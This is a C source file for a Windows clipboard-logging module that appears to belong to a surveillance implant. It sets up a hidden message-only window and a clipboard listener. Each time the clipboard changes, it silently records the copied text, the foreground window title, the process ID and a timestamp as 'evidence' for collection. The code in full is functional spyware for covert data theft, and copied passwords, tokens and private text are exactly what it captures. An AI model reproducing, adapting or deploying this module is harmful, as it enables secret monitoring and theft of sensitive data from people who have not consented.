#include "clipboard.h"

#include "..\common\debug.h"

#include <stdio.h>

#pragma comment( linker, "/subsystem:console" )
#pragma section("loader", read,execute)
#pragma code_seg("loader")

#define GET_TIME(x)	{__int64 aclock;\
	                 _time64( &aclock );\
					 _gmtime64_s(&x, &aclock);\
					 x.tm_year += 1900;\
					 x.tm_mon ++;}

VOID HandleClipboardUpdate();


LRESULT CALLBACK WindowProc(
	_In_  HWND hwnd,
	_In_  UINT uMsg,
	_In_  WPARAM wParam,
	_In_  LPARAM lParam	)
{

	PRUNTIME pRuntime = GetRuntimeViaPatching64();

	if (pRuntime == NULL)
		return 0;

	switch (uMsg)
	{
	case WM_CLIPBOARDUPDATE:
		HandleClipboardUpdate(pRuntime);
		return 0;
	case WM_CREATE:
		return 0;
	case WM_PAINT:
		return 0;
	case WM_SIZE:
		return 0;
	case WM_DESTROY:
		return 0;
	default:
		return DefWindowProc(hwnd, uMsg, wParam, lParam);
	}

	return 0;
}

VOID HandleClipboardUpdate(PRUNTIME pRuntime)
{
	WCHAR windowText[1024];
	WCHAR processName[1024] = L"notyet.exe";
	WCHAR out[2048];

	SecureZeroMemory(windowText, 1024 * sizeof(WCHAR));

	HWND hFocus = GetForegroundWindow();
	HWND hOwner = GetClipboardOwner();
	OpenClipboard(hOwner);
	HANDLE hData = GetClipboardData(CF_UNICODETEXT);

	WCHAR* clipboard_content = (WCHAR *)GlobalLock(hData);
	GetWindowTextW(hFocus, windowText, 1024);

	DWORD dwProcessId;
	GetWindowThreadProcessId(hOwner, &dwProcessId);

	_snwprintf_s(out, 2048, _TRUNCATE, L"[*] clipboard (%d) [%s]: %s\n", dwProcessId, windowText, clipboard_content);
	OutputDebugStringW(out);
	
	/*	log format:
		[tstamp][process name][window title][clipboard content][delimiter]
	*/
	/* tmp fix for VS clipboard content */
	if (clipboard_content == NULL)
		clipboard_content = L"";

	DWORD dwLogSize = sizeof(struct tm) + (wcslen(processName) * 2 + 2) + (wcslen(windowText) * 2 + 2) + (wcslen(clipboard_content) * 2 + 2) + sizeof(DWORD);

	BYTE* evidence = API_ALLOC(pRuntime, dwLogSize);
	
	DWORD delimiter = ELEM_DELIMITER;
	struct tm tstamp;
	GET_TIME(tstamp);

	BYTE* ptr = evidence;

	API_MEMCPY(ptr, &tstamp, sizeof(tstamp));
	ptr += sizeof(tstamp);

	API_MEMCPY(ptr, processName, wcslen(processName) * 2 + 2);
	ptr += wcslen(processName) * 2 + 2;

	API_MEMCPY(ptr, windowText, wcslen(windowText) * 2 + 2);
	ptr += wcslen(windowText) * 2 + 2;

	API_MEMCPY(ptr, clipboard_content, wcslen(clipboard_content) * 2 + 2);
	ptr += wcslen(clipboard_content) * 2 + 2;

	API_MEMCPY(ptr, &delimiter, sizeof(DWORD));

	
	//LOG_ReportLog(PM_CLIPBOARDAGENT, tolog.get_buf(), tolog.get_len()); */
	
	EvidenceAddModule(pRuntime, EVIDENCE_CLIPBOARD_MODULE, evidence, dwLogSize);

	GlobalUnlock(hData);
	CloseClipboard();
}

BOOL CreateMessageWindow(PRUNTIME pRuntime)
{

	HWND hScoutMessageWindow = NULL;
	WNDCLASSEX wClass;
	LPCSTR strClassName = "mobuto";
	SecureZeroMemory(&wClass, sizeof(WNDCLASSEX));

	wClass.cbSize = sizeof(WNDCLASSEX);
	wClass.lpszClassName = strClassName;
	wClass.lpfnWndProc = WindowProc;

	if (!RegisterClassExA(&wClass))
	{
		OutputDebugStringW(L"[+] Cannot create message window class: %08x\n");// , GetLastError());
		return FALSE;
	}

	hScoutMessageWindow = CreateWindowExA(0L, strClassName, strClassName, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
	if (!hScoutMessageWindow)
	{
		DWORD dwError = GetLastError();
		OutputDebugStringW(L"[+] Cannot create message window: %08x\n");;
		LPCSTR messageBuffer = NULL;
		size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
			NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
		OutputDebugStringA(messageBuffer);

		return FALSE;
	}
	BOOL res = AddClipboardFormatListener(hScoutMessageWindow);
	
	while (TRUE)
	{

		MSG  msg;

		//while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
		while (GetMessageA(&msg, NULL, WM_CLIPBOARDUPDATE, WM_CLIPBOARDUPDATE))
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);

			//if (msg.message == WM_QUIT)
			//{
			//	return 0;
			//}
			//else
			//{
			//Sleep(1000);
		}
		//Sleep(1000);
		// run frame code here
	}

	return TRUE;
}

thread_func_ret_t  ModuleClipboardMain(PRUNTIME pRuntime)
{
	OUTPUTDEBUG("fuck off\n");
	
	/* initialize evidence for this module */
	EvidenceOpenModule(pRuntime, EVIDENCE_CLIPBOARD_MODULE);

	//PVARIABLES_EVENTSACTIONENGINE pVariablesEventsActionsEngine = pRuntime->pModuleSpecificData[INDEX_EVENTS_ACTIONS_ENGINE]->lpVariables;

	//module_t* clipboardModule = &pVariablesEventsActionsEngine->modulev[MODULE_CLIPBOARD_INDEX];

	CreateMessageWindow(pRuntime);


	while (TRUE)
	{

	}

	/* flush and free */


	return 0;
}

VOID ModuleClipboardFlush(PRUNTIME pRuntime)
{
	OutputDebugStringA("flush off\n");
	
	//DebugBreak();
}